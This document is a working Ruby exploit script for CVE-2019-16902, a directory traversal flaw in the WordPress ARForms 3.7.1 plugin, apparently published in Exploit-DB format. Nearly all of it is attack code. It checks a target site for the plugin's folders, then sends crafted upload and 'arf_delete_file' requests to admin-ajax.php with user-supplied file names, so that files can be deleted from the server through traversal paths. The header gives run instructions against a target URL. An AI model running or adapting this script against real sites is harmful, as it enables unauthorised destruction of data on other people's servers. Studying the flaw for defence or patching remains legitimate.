# Exploit Title: WordPress Arforms 3.7.1 - Directory Traversal
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1
# CVE ID: CVE-2019-16902
#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on
# There is a request file with this Script make sure to put it in the same folder.
#**************End Notes****************
#!/usr/bin/env ruby
require "net/http"
require 'colorize'
$host = ARGV[0] || ""
$session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"
def start_function ()
puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
name = STDIN.gets
if $host == ""
puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
exit
end
check_existence_arform_folder
execute_deletion_attack
puts "Done ... see ya " + name
end
def send_checks(files_names)
j = 1
while j <= files_names.length-1
uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
request = Net::HTTP::Get.new(uri.request_uri)
request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
request["Connection"] = "keep-alive"
request["Accept-Language"] = "en-US,en;q=0.5"
request["Accept-Encoding"] = "gzip, deflate"
request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
begin
response = http.request(request).code
puts "The File " + files_names[j] + " has the response code of " + response
rescue Exception => e
puts "[!] Failed!"
puts e
end
j = j+1
end
end
def check_existence_arform_folder ()
path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
$i = 0
results = []
while $i <= path_array.length-1
uri = URI.parse("http://#{$host}/#{path_array[$i]}")
#puts uri
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https' # Enable HTTPS support if it's HTTPS
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
results[$i] = response.code
#puts"response code is : " + response.code
$i +=1
end
puts "****************************************************"
if results[0] == "200" || results[0] =="301"
puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
else
puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
exit
end
if (results[1] == "200" || results[1] == "301")
puts "The User Files folder is Available on the following path : ".green + $host + path_array[1]
else
puts "We couldn't find the User Files folder, on the following path ".red + $host + path_array[1]
end
puts "****************************************************"
end
def execute_deletion_attack ()
puts "How many file you want to delete my man"
amount = STDIN.gets.chomp.to_i
if(amount == 0)
puts "You can't use 0 or other strings this input for the amount of file you want to delete so it's an Integer".blue
exit
end
file_names = []
file_names[0] = "143_772_1569713145702_temp3.txt"
j = 1
while j <= amount.to_i
puts "Name of the file number " + j.to_s
file_names[j] = STDIN.gets
file_names[j].strip!
j = j+1
end
uri = URI.parse("http://#{$host}")
#puts uri
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie
$i = 0
while $i <= file_names.length-1
puts "Starting the Attack Journey .. ".green
uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
headers =
{
'Referer' => 'From The Sky',
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Content-Type' => 'multipart/form-data; boundary=---------------------------14195989911851978808724573615',
'Accept-Encoding' => 'gzip, deflate',
'Cookie' => global_cookie,
'X_FILENAME' => file_names[$i],
'X-FILENAME' => file_names[$i],
'Connection' => 'close'
}
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
request = Net::HTTP::Post.new(uri.path, headers)
request.body = File.read("post_file")
response = http.request request
$i = $i +1
end
execute_delete_request file_names,global_cookie,amount.to_i
puts "Finished.........."
end
def execute_delete_request (file_names,cookies,rounds )
$i = 0
while $i <= file_names.length-1
puts "Starting the Attack on file No #{$i.to_s} ".green
uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
headers =
{
'Referer' => 'From The Sky',
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept' => '*/*',
'Accept-Language' => 'en-US,en;q=0.5',
'X-Requested-With'=> 'XMLHttpRequest',
'Cookie' => cookies,
'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding' => 'gzip, deflate',
'Connection' => 'close'
}
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true if uri.scheme == 'https'
request = Net::HTTP::Post.new(uri.path,headers)
request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143"
response = http.request(request)
if $i != 0
puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code
end
$i = $i +1
end
send_checks file_names
end
start_function()